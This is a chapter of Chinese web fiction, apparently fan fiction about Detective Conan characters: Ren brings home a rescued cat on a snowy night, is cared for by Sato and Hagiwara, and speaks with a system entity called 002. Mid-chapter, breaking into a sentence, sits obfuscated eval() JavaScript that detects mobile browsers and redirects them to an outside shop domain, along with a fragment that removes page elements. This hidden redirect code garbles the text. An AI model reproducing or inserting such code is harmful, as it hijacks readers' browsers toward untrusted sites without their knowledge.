佐藤弘人开着车送莲回公寓。
东京的冬夜飘着细雪。
一路上他时不时从后视镜里偷看后排的莲，看那人垂眸抚过爱丽丝雪白的脊背，纤长漂亮的手指在蓬松雪白的毛发间若隐若现，动作轻柔而漫不经心。
爱丽丝蜷在莲怀里，尾巴尖轻轻晃着，和几个小时前那只恹恹欲绝的小猫判若两猫。
“它真的很喜欢你。”佐藤弘人说。
“嗯。”莲头也没抬，手指轻轻挠了挠爱丽丝的耳后，小猫发出咕噜咕噜的声音，往他怀里又钻了钻。
车子在公寓楼下停稳。
佐藤弘人先下车，绕到另一侧帮莲拉开车门。
莲抱着猫从车里出来，黑色卷发被冬夜的冷风吹得轻轻飘动，米白色毛衣裹着纤薄的身体，在夜色里显得格外矜贵而疏离。
他刚走了两步，左脚的鞋带散了。
莲低头看了看，正要开口，佐藤弘人已经在他面前单膝跪了下来。动作自然得像是做过无数次。
他半跪在冰冷的地面上，手指灵巧地捏住那两根散开的鞋带，系了一个松紧刚好的蝴蝶结。
莲微微垂眸看着单膝跪在雪地上的佐藤弘人，不由得失神。
这场景似乎与很多年前重合，那时候降谷和景光刚刚宣布要让他学会独立，佐藤也是这样蹲在鞋柜前帮他系鞋带。
一晃才发现，很多年过去了。
“佐藤同学，你真好。”他轻声说。
佐藤弘人抬起头，对上那双低垂的眼眸，桀骜锐利的脸瞬间泛了红。他站起来拍了拍膝盖上的灰，声音带着几分生涩的局促，却努力装得若无其事。
“这有什么，明天早上我来接你，爱丽丝就交给你了，晚上如果有什么状况随时打电话给我。”
“好。”莲弯起眼睛。
佐藤弘人看着那个笑容，站在原地目送莲转身往公寓楼走去。直到那个黑色的身影消失在玻璃门后，他才坐回驾驶座，把额头抵在方向盘上。
他听到自己的心跳声，和少年时一模一样。
*
公寓门口站着一个人。
萩原研二靠在门框上，穿着一件深灰色的长外套，半长发随意地扎在脑后，几缕碎发垂在脸侧。
他站姿慵懒，双手插在外套口袋里，紫罗兰色的眼眸在路灯下显得格外深邃，不知道在那里站了多久。
“萩酱？”莲歪了歪头。
萩原直起身走过来，动作自然地半揽着他，两人往楼上走。
他看到莲怀里的爱丽丝，低头用指尖轻轻挠了挠小猫的下巴，“这就是今天出诊的小病号？”
“嗯，它叫爱丽丝。”莲靠在他怀里点了点头。
“今天怎么样？”他问。
“还好。爱丽丝没什么大事，就是有点应激，养几天就好了。”莲仰起头，方便萩原帮他把围巾取下来。
萩原顺手把围巾挂在衣架上，又帮莲解开大衣的纽扣，然后像是随口提起，“刚才送你回来的是佐藤家的司机？看起来挺年轻的。”
“是佐藤家的少爷。也是我小学和国中的同班同学。”莲低头回答，注意力还在怀里的猫身上。
萩原点了点头，没再追问。
今天松田阵平值夜班，公寓里只有两个人。
莲从浴室里走出来，白色浴袍裹着纤薄的身体，潮湿的黑色卷发贴在苍白的脖颈上。
他在沙发上坐下来，把腿伸直搁在茶几上。
萩原已经半跪在他面前。他的手指掀起一小片浴袍下摆，露出脚踝上方一截苍白的小腿，拿起棉袜轻轻套上莲微凉的脚。
动作专注，拇指在脚踝内侧轻轻按了一下，感受着那片薄薄的皮肤下脉搏的跳动。
莲垂下眼睛看着他，某个念头忽然从心底浮上来，轻飘飘的。
他忽然开口：“萩酱。”
“嗯？”
“我最近好像很少想到零酱和景酱了。”
萩原的手停了下来。他抬起头，紫罗兰色的眼眸认真地看着莲，静静等待着。
“以前每天都会想好几次。”莲的声音很平和。
“最近有时候一整天都不会想。今天佐藤同学帮我绑鞋带的时候，我才想到零酱和景酱。”
萩原站起来在莲身边坐下，他没有说什么安慰的话，只是把莲往怀里拢了拢，声音低沉而温柔。
“如果有一天你觉得不再整日想念他们了，那就不要勉强自己。如果有一天你习惯了现在的生活，那也不是你的错。”
“人本来就会习惯，会改变，会把一些重要的人放在心里某个角落，然后继续往前走。”
莲把脸埋进萩原的肩窝里，轻轻叹了口气。“萩酱今天也陪我睡觉，好不好？”
“……好，不过先吃饭。”
萩原端着一碗热粥，在莲身边坐下，用勺子舀了一勺递到莲嘴边。
莲靠在沙发扶手上，就着他的手喝了一口，腮帮子微微鼓起。
“好吃吗？”
“嗯。”莲点了点头，又张开嘴等着下一勺。
萩原看着他理所当然等着投喂的样子，弯起眼睛笑了。
*
晚上，莲把爱丽丝放进浴室，调好温水，仔细地帮它洗澡。
小猫在他手心里乖顺得不像话，偶尔发出满足的咕噜声，直到身上那层若有若无的犀角香被彻底洗净。
洗完之后莲用毛巾把爱丽丝裹起来，轻轻擦干。那只波斯猫被他裹得像一只雪团子，只有一双漂亮的猫眼露在外面，满脸都是心甘情愿。
太郎五世从抽屉里探出头，和那只雪白蓬松的波斯猫四目相对，胡须抖了抖。
然后它大大方方地跳上床，绕着新来的家伙转了两圈，叼了一颗花生米放在它面前。
爱丽丝怯怯地伸出爪子碰了碰，又缩回去。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629650|206320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
莲靠在床头，看着两只小东西互动，嘴角微微翘起来。
敲门声响起。
他走过去拉开门。
萩原站在门口，深色半长发还有些微湿地垂在肩侧，应该是刚洗过澡。
他换了一件浅灰色的家居T恤，领口微微敞开，露出线条分明的锁骨，身形修长而挺拔，整个人散发着一种慵懒而温柔的男性气息。
“陪你睡觉。”
莲往后退了半步让开门口的位置，弯起眼睛。“好哦。”
萩原走到床边，掀开被子一角，让莲躺下来之后帮他把被角掖好，然后自己躺在他旁边，中间隔着半臂的距离。
【002，我是不是很少提到零酱和景酱了。】
【……是的。】002回答。
【他们才离开不到一年。我还以为我会想他们更久一点。】
002没有说话。
它在沉默中想起很多事情，最终只是在黑暗中安静地运转着，没有告诉监察者那些它早已知道的事实。
监察者只会在意待在他身边陪伴他的人。
过了许久，002终究开口了。
【监察者，您只是习惯了现在的生活节奏。情感波动会随着时间自然平复，您只是需要有人陪着您。】
【比如萩酱和阵平？】
【比如萩原研二和松田阵平。】002重复道。
002比所有人都更早知道一件事
那两个人类的离开对监察者而言只是不习惯，监察者可以模拟出一切，可以套下一个又一个圈套，让所有人像飞蛾扑火一样扑进来。
可迟早有一天，所有人都会离开，而离开的人都会被监察者遗忘。
几世以来，从无例外。
*
莲在黑暗中睁开眼睛，眉心蹙起，“萩酱，我还是好冷。”
萩原没有问为什么明明开着暖气他还觉得冷，只是伸出手臂把他往怀里拢了拢。
他拉过被子将两人裹得更紧，隔着薄薄的睡袍，手掌慢慢抚过怀中人的后背，带着体温一路滑到腰际，轻轻按住那截窄细的腰线。
如雪般的体温一点一点被他的热度浸透，从指尖开始，蔓延到纤细的手腕。
萩原把下巴抵在莲的头顶，手掌继续在他后背上细细抚着，沿着蝴蝶骨的轮廓一圈一圈地打着转，直到怀中人冰凉的皮肤终于被他的体温完全包裹。
“还冷吗？”他低声问。
莲摇了摇头，“萩酱你真好。”
萩原低下头，鼻尖几乎碰到莲的发顶，那股带着风雪气息的花香在黑暗中更加分明，萦绕在他的每一次呼吸里。
窗外细雪纷飞，窗内两个人的身影映在白色墙壁上，亲密无间，像一对相恋多年的爱人。
像一对正在相恋的爱人。
萩原在心里重复了一遍这个比喻，然后在黑暗中弯起眼睛，无声地笑了。